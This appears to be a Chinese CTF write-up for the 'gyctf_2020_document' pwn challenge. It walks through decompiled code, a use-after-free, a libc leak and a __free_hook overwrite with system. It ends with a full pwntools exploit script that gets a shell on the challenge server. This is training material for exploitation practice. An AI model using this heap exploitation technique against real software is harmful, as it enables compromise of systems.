gyctf_2020_document
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位,保护全开
unsigned __int64 ADD()
{
int i; // [rsp+Ch] [rbp-24h]
_QWORD *v2; // [rsp+10h] [rbp-20h]
char *v3; // [rsp+18h] [rbp-18h]
__int64 s; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i < 7; ++i )
{
if ( !BSSPTR[i] )
{
v2 = malloc(8uLL);
v3 = (char *)malloc(0x80uLL);
if ( !v2 || !v3 )
{
puts("Error occured!!!");
exit(2);
}
puts("add success");
*v2 = v3;
v2[1] = 1LL;
puts("input name");
memset(&s, 0, sizeof(s));
sub_AA0((char *)&s, 8u);
*(_QWORD *)v3 = s;
puts("input sex");
memset(&s, 0, sizeof(s));
sub_AA0((char *)&s, 1u);
puts("here");
if ( (_BYTE)s == aW[0] )
{
*((_QWORD *)v3 + 1) = 1LL;
}
else
{
puts("there");
*((_QWORD *)v3 + 1) = 16LL;
}
puts("input information");
sub_AA0(v3 + 16, 112u);
BSSPTR[i] = v2;
puts("Success");
break;
}
}
if ( i == 7 )
puts("Th3 1ist is fu11");
return __readfsqword(0x28u) ^ v5;
}
一共申请了两个堆,并且两个堆都无法自定义size
并且一号堆放有二号堆内容的指针
有个readsub_AA0((char *)&s, 8u)
这个的意思就是第二个参数需要8个字符,具体如下
__int64 __fastcall sub_AA0(char *a1, unsigned int a2)
{
char *v3; // rax
signed int v4; // [rsp+1Ch] [rbp-14h]
unsigned int v5; // [rsp+20h] [rbp-10h]
int v6; // [rsp+24h] [rbp-Ch]
v4 = 0;
v5 = 0;
if ( a2 >= 0x81 )
return 0LL;
while ( v4 < (int)a2 )
{
v3 = a1++;
v6 = read(0, v3, 1uLL);
if ( !v6 )
exit(0);
v5 += v6;
++v4;
}
return v5;
}
unsigned __int64 sub_D86()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Give me your index : ");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 >= 7 )
{
puts("Out of list");
}
else if ( *((_QWORD *)&BSSPTR + v1) )
{
sub_B23(**((_QWORD **)&BSSPTR + v1));
}
else
{
puts("invalid");
}
return __readfsqword(0x28u) ^ v3;
}
show这里就是通过一号堆存放的指针,然后write出来内容
这里可以用指针泄露libc
unsigned __int64 DELE()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Give me your index : ");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 >= 7 )
{
puts("Out of list");
}
else if ( *((_QWORD *)&BSSPTR + v1) )
{
free(**((void ***)&BSSPTR + v1));
}
else
{
puts("invalid");
}
return __readfsqword(0x28u) ^ v3;
}
uaf
unsigned __int64 EDIT()
{
unsigned int v1; // [rsp+8h] [rbp-28h]
__int64 v2; // [rsp+10h] [rbp-20h]
_BYTE *v3; // [rsp+18h] [rbp-18h]
char buf[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Give me your index : ");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 >= 7 )
{
puts("Out of list");
}
else if ( BSSPTR[v1] )
{
v2 = BSSPTR[v1];
if ( *(_QWORD *)(v2 + 8) )
{
puts("Are you sure change sex?");
read(0, buf, 8uLL);
if ( buf[0] == aY[0] )
{
puts("3");
v3 = (_BYTE *)(*(_QWORD *)BSSPTR[v1] + 8LL);
if ( *v3 == unk_13DE )
{
puts(&a124[2]);
*v3 = 1;
}
else
{
puts(a124);
*v3 = 0x10;
}
}
else
{
puts(&a124[4]);
}
puts("Now change information");
if ( !(unsigned int)sub_AA0((char *)(*(_QWORD *)BSSPTR[v1] + 16LL), 0x70u) )
puts("nothing");
*(_QWORD *)(v2 + 8) = 0LL;
}
else
{
puts("you can onyly change your letter once.");
}
}
else
{
puts("invalid");
}
return __readfsqword(0x28u) ^ v5;
}
edit这里注意一下
就是他修改内容的时候是sub_AA0((char *)(*(_QWORD *)BSSPTR[v1] + 16LL), 0x70u)
意思就是从内容的0x10开始修改,然后需要填满0x70的内容,这里就是为什么下面有3号堆的存在
思路
因为申请的是0x80
大小的chunk,并且write的是chunk1的指针,也存在uaf,所以我们free掉之后
也能直接show出来libc,
然后通过修改free掉的unsortedbin,切割申请的一号堆,修改里面的指针使其指向free_hook
然后修改free_hook
–> system
再free掉/bin/sh
getshell
from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",26265,"./pwn",0)
add(b'/bin/sh\x00',b'0',b'c'*0x70)
add(b'/bin/sh\x00',b'1',b'c'*0x70)
dele(0)
show(0)
#add(b'aaaaaaaa',b'b',b'c'*0x70)
leak=get_addr_u64()-88-0x10-libc.sym['__malloc_hook']
free=freehook(leak)
sys=system(leak)
li(leak)
add(b'/bin/sh\x00',b'2',b'c'*0x70)
add(b'yamemres',b'3',b'c'*0x70)
pl=flat(0,0x21,free-0x10,1,0,0x51,b'\x00'*0x40)
#这里为什么要-0x10,因为修改是从0x10之后才能修改,所以抬高0x10就正好修改
edit(0,b'0',pl)
edit(3,b'0',p64(sys)+b'\x00'*0x69)
li(sys)
#debug()
dele(1)
ia()